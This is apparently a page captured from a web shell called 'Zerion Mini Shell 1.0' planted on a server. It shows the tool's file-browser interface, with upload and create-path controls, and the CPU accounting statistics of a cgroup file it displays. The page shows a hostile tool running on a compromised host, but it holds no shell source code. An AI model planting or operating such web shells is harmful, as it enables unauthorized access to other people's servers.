%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /sys/fs/cgroup/cpuacct/lve1039/
Upload File :
Create Path :
Current File : //sys/fs/cgroup/cpuacct/lve1039/cpu.proc.stat

cpu  35972862 0 5962324 40333363089 134522 0 0 138466
cpu0 1371180 0 247644 1680732394 44447 0 0 10497
cpu1 1833361 0 283621 1680030085 9614 0 0 7114
cpu2 1710411 0 260929 1680228647 5046 0 0 6763
cpu3 1762702 0 266130 1680148175 3748 0 0 6387
cpu4 1627190 0 246989 1680363667 3214 0 0 5764
cpu5 1550003 0 242232 1680457087 2896 0 0 5474
cpu6 1502554 0 239427 1680516957 3537 0 0 5605
cpu7 1500234 0 242007 1680547008 3688 0 0 5515
cpu8 1423456 0 235585 1680655687 3734 0 0 5509
cpu9 1494845 0 247090 1680578851 4747 0 0 5543
cpu10 1521267 0 256097 1680521011 3563 0 0 5648
cpu11 1579223 0 269545 1680455629 3140 0 0 5643
cpu12 1600887 0 278154 1680423024 3280 0 0 5741
cpu13 1662093 0 292461 1680338905 3679 0 0 6041
cpu14 1615590 0 287071 1680399888 5403 0 0 5602
cpu15 1587557 0 279751 1680437987 3714 0 0 5658
cpu16 1498951 0 262027 1680578774 3090 0 0 5465
cpu17 1430648 0 245418 1680662145 3519 0 0 5191
cpu18 1422816 0 239237 1680700957 3261 0 0 5209
cpu19 1322270 0 223278 1680820359 3206 0 0 5059
cpu20 1325425 0 220840 1680817112 2956 0 0 4692
cpu21 1257745 0 207603 1680912614 3018 0 0 4913
cpu22 1213264 0 198860 1680978207 5011 0 0 4792
cpu23 1159178 0 190320 1681057907 2999 0 0 4629
intr 0
swap 0 0

ctxt 106329724
btime 1747808572
processes 134310
procs_running 0
procs_blocked 0

Zerion Mini Shell 1.0